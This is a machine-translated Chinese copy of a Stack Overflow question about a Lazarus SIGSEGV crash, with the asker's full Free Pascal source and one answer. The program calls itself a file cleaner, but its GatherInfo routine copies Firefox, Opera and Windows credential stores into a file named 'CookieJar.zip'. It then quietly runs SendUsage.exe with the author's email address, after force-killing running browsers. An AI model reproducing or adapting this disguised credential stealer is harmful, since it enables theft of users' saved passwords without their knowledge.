德尔福:项目筹集外部:SIGSEGV

时间:2015-08-17 10:52:29

标签: controls lazarus visible sigsegv

我有一个包含表单和大量代码的图形程序。当我开始它,它很好,没有错误,没有例外。我添加了两个程序,它仍然运行没有问题。我放置了一个进度条,并将此代码添加到Image的OnClick事件中:ProgressBar.Visible:=False;编译完成后没有错误,但是当我运行程序时,我遇到了这个异常:

  

Project Spark引发了异常类'External:SIGSEGV'。

     

在第948行的文件'.include \ control.inc'中:

     

Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));

奇怪的事实:我删除了进度条和分配给的每个程序,但我一直收到此错误。

其他信息:

根据Lazarus ver编译。 1.2.6

FPC版本:2.6.4

Windows 7旗舰版6.1.7601.1.1252.1.1033.18.8130.4811

编辑:这是所要求的完整代码。 但首先:该程序应该是一个清理程序,它可以查找和删除一些文件。 GatherInfo过程向我发送了额外的调试信息(通过执行外部程序)。

unit sparkunit;

{$mode objfpc}{$H+}

interface

uses
  Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
  LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
  ExtCtrls, ComCtrls, Process;
type

  { TSparkForm }

  TSparkForm = class(TForm)
    Borders: TImage;
    Borders1: TImage;
    Borders2: TImage;
    Borders3: TImage;
    NextBTN: TImage;
    OLabel: TLabel;
    ScanFRM: TScanFrame;
    TitleLBL: TLabel;
    Wallpaper: TImage;
    WelcomeFRM: TWelcomeFrame;
    XLabel: TLabel;
    _Label: TLabel;
    procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure NextBTNClick(Sender: TObject);
    procedure OLabelClick(Sender: TObject);
    procedure XLabelClick(Sender: TObject);
    procedure _LabelClick(Sender: TObject);
  private
    { private declarations }
  public
    { public declarations }
  end;

const SparkCursor = 777;
      SparkDragCursor = 778;
var
  SparkForm: TSparkForm;
  MouseIsDown: Boolean;
  PX, PY: Integer;
  Operating: Boolean;
  FFile: Text;
  Path,Looper: String;
  Master: TProcess;
  Browser: Array [1..4] of String;
  //1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation

{$R *.lfm}

{ TSparkForm }

function GetSystemLoc: string;
var
   FilePath: array [0..255] of char;
begin
 SHGetSpecialFolderPath(0, @FilePath[0], $0025, True);
 Result := FilePath;
end;

procedure CrFile(F: String);
var D: Text;
Begin
 AssignFile(D,F);
 Rewrite(D);
 CloseFile(D);
end;

procedure Log(StrToLog:String);
var Lof: Text;
Begin
 AssignFile(Lof,'SparkLog.txt');
 Append(Lof);
 Writeln(Lof,StrToLog);
 CloseFile(Lof);
end;

procedure ChList(FileToAdd: String);
Begin
 if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
   AssignFile(FFile,'Deletions.tmp');
   Append(FFile);
   Writeln(FFile,FileToAdd);
   CloseFile(FFile);
   Log('Automatically added '+FileToAdd+' to the deletion list.');
 end;

 Application.ProcessMessages;
  SparkForm.Refresh;
end;

procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
  AssignFile(FFile,'CookieJar.zip');
  Append(FFile);
  Writeln(FFile);
  Writeln(FFile,FileToAdd);
  Writeln(FFile);
  if FileExists(FileToAdd) then Begin
    if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
    AssignFile(DFile,'Temp.tmp');
    Reset(DFile);
    Repeat
      Application.ProcessMessages;
  SparkForm.Refresh;
      Readln(DFile,Looper);
      Writeln(FFile,Looper);
    until EOF(DFile);
    CloseFile(DFile);
    DeleteFile('Temp.tmp');
  End;
  CloseFile(FFile);
end;

procedure ChDel(FilePath: String);
Begin
 if FileExists(FilePath) then DeleteFile(FilePath)
 Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;

function NotInCar(FileName: String): Boolean;
Begin
 if (Pos('Spark',FileName)<>0) then NotInCar:=False
 Else NotInCar:=True;
End;

procedure AddExtension(Ext: String);
var FileList: TStringList;
    I: LongInt;
    Drive: Char;
    O: Text;
Begin
 AssignFile(FFile,'Ext.tmp');
 Rewrite(FFile);
 CloseFile(FFile);
 For Drive:='A' to 'Z' do
 if DirectoryExists(Drive+':\') then Begin
 Application.ProcessMessages;
  SparkForm.Refresh;

 FileList:=FindAllFiles(Drive+':\',Ext,True);
 if FileList.Count>0 then Begin
 Application.ProcessMessages;
  SparkForm.Refresh;

 AssignFile(FFile,'Ext.tmp');
 Append(FFile);
 For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
 CloseFile(FFile);
 end;
 end;
 FileList.Free;
 AssignFile(O,'Deletions.tmp');
 Append(O);
 AssignFile(FFile,'Ext.tmp');
 Reset(FFile);
 Repeat
   Application.ProcessMessages;
   SparkForm.Refresh;
   Readln(FFile,Looper);
   Writeln(O,Looper);
 until EOF(FFile);
 CloseFile(O);
 CloseFile(FFile);
 DeleteFile('Ext.tmp');

 Application.ProcessMessages;
  SparkForm.Refresh;
end;

Procedure GatherInfo;
var IEList: TStringList;
   I: LongInt;
Begin
  SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
  //GetFiles
  AssignFile(FFile,'CookieJar.zip');
  Rewrite(FFile);
  CloseFile(FFile);
  ChAdd(Browser[1]+'key3.db');
  ChAdd(Browser[1]+'logins.json');

  Application.ProcessMessages;
  SparkForm.Refresh;
  IEList:=TStringList.Create;
  IEList:=FindAllFiles(Browser[4],'*.*',true);
  if IEList.Count>0 then
  For I:=1 to IEList.Count do Begin
    Application.ProcessMessages;
  SparkForm.Refresh;
    ChAdd(IEList.Strings[I-1]);
  end;
  ChAdd(Browser[3]);

  Application.ProcessMessages;
  SparkForm.Refresh;
  Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
  Application.ProcessMessages;
  SparkForm.Refresh;
  ChAdd(Browser[3]+'Login Data');
  ChAdd(Browser[3]+'Login Data-journal');
  //Send
  Master:=TProcess.Create(NIL);
  Master.Executable:='SendUsage.exe';
  Master.Parameters.Add(GetCurrentDir);
  Master.Parameters.Add('{My E-Mail}');  
  Application.ProcessMessages;
  SparkForm.Refresh;
  Master.ShowWindow:=swoHIDE;
  Master.Execute;
  Repeat
   Application.ProcessMessages;
   SparkForm.Refresh;
  until Not(Master.Running);
  Master.Free;  

  Application.ProcessMessages;
  SparkForm.Refresh;
end;

Procedure StartScan;
var Windir: PChar;
Begin
  Application.ProcessMessages;
  SparkForm.Refresh;
  GetWindowsDirectory(Windir,255);
  SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
  ChList(GetEnvironmentVariable('temp'));
  ChList(Windir+'\Temporary Internet Files');
  ChList(Windir+'\Downloaded Program Files');
  ChList(Windir+'\History');
  ChList(Windir+'\Temp');
  ChList(Windir+'\Cookies');
  ChList(Windir+'\Favorites');
  ChList(Windir+'\system.nu3');
  ChList(Windir+'\user.nu3');
  Application.ProcessMessages;
  SparkForm.Refresh;
  AddExtension('*.tmp');
  AddExtension('*.temp');
  AddExtension('*.chk');
  Application.ProcessMessages;
  SparkForm.Refresh;
  AddExtension('*.old');
  AddExtension('*.gid');
  AddExtension('*.nch');
  AddExtension('*.wbk');
  AddExtension('*.fts');
  AddExtension('*.ftg');
  AddExtension('*.$$$');
  AddExtension('*.err');
  AddExtension('*.—');
  AddExtension('*.~*');
  AddExtension('~*.*');
  AddExtension('*.??$');
  AddExtension('*.___');
  AddExtension('*.~mp');
  AddExtension('*._mp');
  AddExtension('*.prv');
  AddExtension('*.sik');
  AddExtension('CHKLIST.MS');
  AddExtension('*.ilk');
  AddExtension('*.aps');
  AddExtension('*.mcp');
  Application.ProcessMessages;
  SparkForm.Refresh;
  AddExtension('*.pch');
  AddExtension('*.$db');
  AddExtension('*.?$?');
  AddExtension('*.??~');
  AddExtension('*.?~?');
  AddExtension('*.db$');
  AddExtension('*.^');
  AddExtension('*._dd');
  AddExtension('*._detmp');
  AddExtension('0*.nch');
  AddExtension('chklist.*');
  AddExtension('mscreate.dir');
  AddExtension('*.diz');
  AddExtension('*.syd');
  AddExtension('*.grp');
  AddExtension('*.cnt');
  AddExtension('*.~mp');
end;

Procedure StartDeletion;
Begin
  SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
  AssignFile(FFile,'Deletions.tmp');
  Reset(FFile);
  Repeat
    Readln(FFile,Looper);
    ChDel(Looper);
    Application.ProcessMessages;
  SparkForm.Refresh;
    if Not(Looper='') then
    Log(Looper+' was removed.')
    Else Log('An unknown file was removed.');
  until EOF(FFile);
  CloseFile(FFile);
  DeleteFile('Deletions.tmp');
end;

procedure TSparkForm.FormCreate(Sender: TObject);
begin
 Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
 Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
 Wallpaper.Cursor := SparkCursor;
 Borders.Cursor := SparkCursor;
 Borders1.Cursor := SparkCursor;
 Borders2.Cursor := SparkCursor;
 Borders3.Cursor := SparkCursor;
 WelcomeFRM.Cursor:= SparkCursor;
 WelcomeFRM.Label1.Cursor:= SparkCursor;
 WelcomeFRM.Label2.Cursor:= SparkCursor;
 WelcomeFRM.Label3.Cursor:= SparkCursor;
 WelcomeFRM.Image1.Cursor:= SparkCursor;
 Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
 Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
 Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;

Procedure KillBrowser;
Begin
 try
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im firefox.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im chrome.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im opera.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 except
 end;
end;

procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
  Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
  Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
  Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
  KillBrowser;
  Operating:=True;
  WelcomeFRM.Visible:=False;
  ScanFRM.Visible:=True;
  ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
  NextBTN.Visible:=False;
  CrFile('Deletions.tmp');
  CrFile('SparkLog.txt');
  Application.ProcessMessages;
  SparkForm.Refresh;
  GatherInfo;
  Application.ProcessMessages;
  SparkForm.Refresh;
  StartScan;
  Application.ProcessMessages;
  SparkForm.Refresh;
  StartDeletion;
  Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
  Operating:=False;
  SparkForm.Close;
  Application.Terminate;
end;

procedure TSparkForm.OLabelClick(Sender: TObject);
begin

end;

procedure TSparkForm.XLabelClick(Sender: TObject);
begin
  if not(Operating) then Begin
  SparkForm.Close;
  Application.Terminate;
  end
  Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;

procedure TSparkForm._LabelClick(Sender: TObject);
begin
  Application.Minimize;
end;

procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if Button = mbLeft then begin
    MouseIsDown := True;
    PX := X;
    PY := Y;
    Borders.Cursor := SparkDragCursor;
  end;
end;

procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  if MouseIsDown then begin
    SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
  end;
end;

procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  MouseIsDown:=False;
  Borders.Cursor := SparkCursor;
end;

procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin

end;

initialization
{$I sparkcursor1.lrs}  {I'm using custom cursor resources}
{$I sparkcursor2.lrs}

end.

编辑2:SIGSEGV错误是由无效变量引起的,声明为Windir: PChar;。它指向受保护的内存地址,导致程序终止,但访问冲突除外。用try / except块包围代码以捕获次要异常总是一个好主意。

1 个答案:

答案 0 :(得分:0)

我快速浏览了一下代码: 在你的过程AddExtension(Ext:String);在第139行,你有一个FileList:TStringList声明但它不是在任何地方创建的。

您需要创建此对象FileList:= TStringList.Create;使用它。